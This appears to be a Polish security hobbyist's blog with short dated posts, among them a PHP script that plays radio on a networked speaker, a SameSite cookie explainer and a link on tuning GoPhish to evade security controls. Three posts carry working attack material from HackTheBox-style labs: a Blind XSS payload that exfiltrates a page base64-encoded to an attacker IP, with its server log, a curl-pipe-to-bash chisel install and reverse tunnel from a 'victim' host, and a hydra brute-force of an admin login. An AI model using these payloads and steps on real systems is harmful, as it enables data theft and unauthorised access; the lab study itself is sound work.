wtorek, 26 października 2021

AudioCast M5 stream music from linux/windows

 1) set music: 
http://192.168.51.173/httpapi.asp?command=setPlayerCmd:play:http://192.168.51.5/music/mata.mp3

2) loop(1)/or noloop(0)
http://192.168.51.173/httpapi.asp?command=setPlayerCmd:loopmode:1


3) listen radio internet

http://192.168.51.173/httpapi.asp?command=setPlayerCmd:play:http://pr320.pinguinradio.nl/listen.pls


https://github.com/AndersFluur/LinkPlayApi/blob/master/api.md


Stworzyłem skrypt, który sprawdza czy urządzenie jest włączone do prądu i jeśli jest to ma włączyć muzyke - do wykorzystania w inteligentnych domach.







cat playmusic.php                                                                                                                                                                                                                                              
<?php
$ip = "192.168.51.173";
while(1){
        $ping = exec("ping -c 1 -s 64 -t 64 ".$ip);
        if(!empty($ping))
        {
                //  Initiate curl session
                $handle = curl_init();
                // Will return the response, if false it prints the response
                curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
                // Set the url
                $url = "http://$ip/httpapi.asp?command=getPlayerStatus";
                curl_setopt($handle, CURLOPT_URL,$url);
                // Execute the session and store the contents in $result
                $result=curl_exec($handle);
                // Closing the session
                curl_close($handle);
                $array = json_decode($result, true);
        //      var_dump($array);

                if($array['Title']=='556E6B6E6F776E') // czyli jesli jest ten hash to nie gra
                {
                        echo 'nie gra'; // wiec trzeba puscic muzyke
                        //  Initiate curl session
                        $handle = curl_init();
                        // Will return the response, if false it prints the response
                        curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
                        // Set the url
                        $url_radio = "http://$ip/httpapi.asp?command=setPlayerCmd:play:http://pr320.pinguinradio.nl/listen.pls";
                        curl_setopt($handle, CURLOPT_URL,$url_radio);
                        // Execute the session and store the contents in $result
                        $result=curl_exec($handle);
                        // Closing the session
                        curl_close($handle);
                }
                else
                {
                        echo 'gra'; // gra radio wiec nic juz nie robie :) czekam
                        sleep(10);
                }
        }
}

czwartek, 5 sierpnia 2021

SamSite Cookie

 

  • SameSite=None— plik cookie jest wysyłany we „wszystkich kontekstach” — mniej więcej tak, jak działały rzeczy przed wynalezieniem SameSite.
  • SameSite=Strict—plik cookie jest wysyłany tylko w przypadku żądań pochodzących z tej samej domeny. Nawet wchodząc na witrynę z linku spoza witryny, plik cookie nie zostanie wyświetlony, chyba że później odświeżysz stronę lub nawigujesz w obrębie witryny.
  • SameSite=Lax—plik cookie jest wysyłany, jeśli przejdziesz do witryny przez kliknięcie linku z innej domeny, ale nie, jeśli prześlesz formularz. To jest na ogół to, co chcesz chronić przed atakami CSRF!


https://simonwillison.net/2021/Aug/3/samesite/

https://samesite-lax-demo.vercel.app/

środa, 4 sierpnia 2021

GoPhish - popraw swój phsihing

 Ciekawy artykuł, pokazujący jak zmienić GoPhish 

https://www.sprocketsecurity.com/blog/never-had-a-bad-day-phishing-how-to-set-up-gophish-to-evade-security-controls


sobota, 13 marca 2021

Blind XSS Data Exfiltration

cat 2.js

var xhr=new XMLHttpRequest();
xhr.open("GET", 'http://gym-club..htb/security_threat/report.php', false);
xhr.send();
var xhr2=new XMLHttpRequest();
xhr2.open("GET", "http://10.10.14.121/aaaa?=" + btoa(xhr.responseText), false);
xhr2.send();


└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.208 - - [13/Mar/2021 11:54:48] "GET /2.js HTTP/1.1" 200 -
10.10.10.208 - - [13/Mar/2021 11:54:48] code 404, message File not found
10.10.10.208 - - [13/Mar/2021 11:54:48] "GET /aaaa?=PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8dGl0bGU+U2VjdXJpdHkgUmVwb3J0PC90aXRsZT4KICA8c3R5bGU+CiAgICB0YWJsZSwgdGgsIHRkIHsKICAgICAgYm9yZGVyOiAxcHggc29saWQgYmxhY2s7CiAgICB9CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGg0PkxvZ2dlZCBYU1MgYXR0ZW1wdHM8L2g0Pgo8dGFibGU+CiAgPHRoZWFkPgogICAgPHRyPgogICAgICA8dGQ+VGltZXN0YW1wPC90ZD4KICAgICAgPHRkPlVzZXIgQWdlbnQ8L3RkPgogICAgICA8dGQ+SVAgQWRkcmVzczwvdGQ+CiAgICA8L3RyPgogIDwvdGhlYWQ+Cjx0Ym9keT4KPC90Ym9keT4KPC9ib2R5Pgo8L2h0bWw+Cg== HTTP/1.1" 404 -

poniedziałek, 25 stycznia 2021

TCP/UDP reverse tunnel, transported over HTTP, secured via SSH - chisel

#### CHISEL INSTALL

curl https://i.jpillora.com/chisel! | bash

## copy to victim server: 
www-data@passage:/tmp$ wget http://10.10.14.143/chisel
wget http://10.10.14.143/chisel
--2021-01-25 08:55:34--  http://10.10.14.143/chisel
Connecting to 10.10.14.143:80... failed: Connection refused.
www-data@passage:/tmp$ wget http://10.10.14.143:8000/chisel
wget http://10.10.14.143:8000/chisel
--2021-01-25 08:55:47--  http://10.10.14.143:8000/chisel
Connecting to 10.10.14.143:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8704000 (8.3M) [application/octet-stream]
Saving to: 'chisel'

chisel              100%[===================>]   8.30M  5.33MB/s    in 1.6s    

2021-01-25 08:55:49 (5.33 MB/s) - 'chisel' saved [8704000/8704000]

www-data@passage:/tmp$ 


##  my computer:
chisel server -p 9999 --reverse

## victim computer 
./chisel client 10.10.14.143:9999 R:631:localhost:631

##############



hydra -l paul -P /usr/share/wordlists/rockyou.txt -s 631 -f 127.0.0.1 http-get /admin/log/error_log

Red Team Notes 2.0

https://dmcxblue.gitbook.io/red-team-notes-2-0/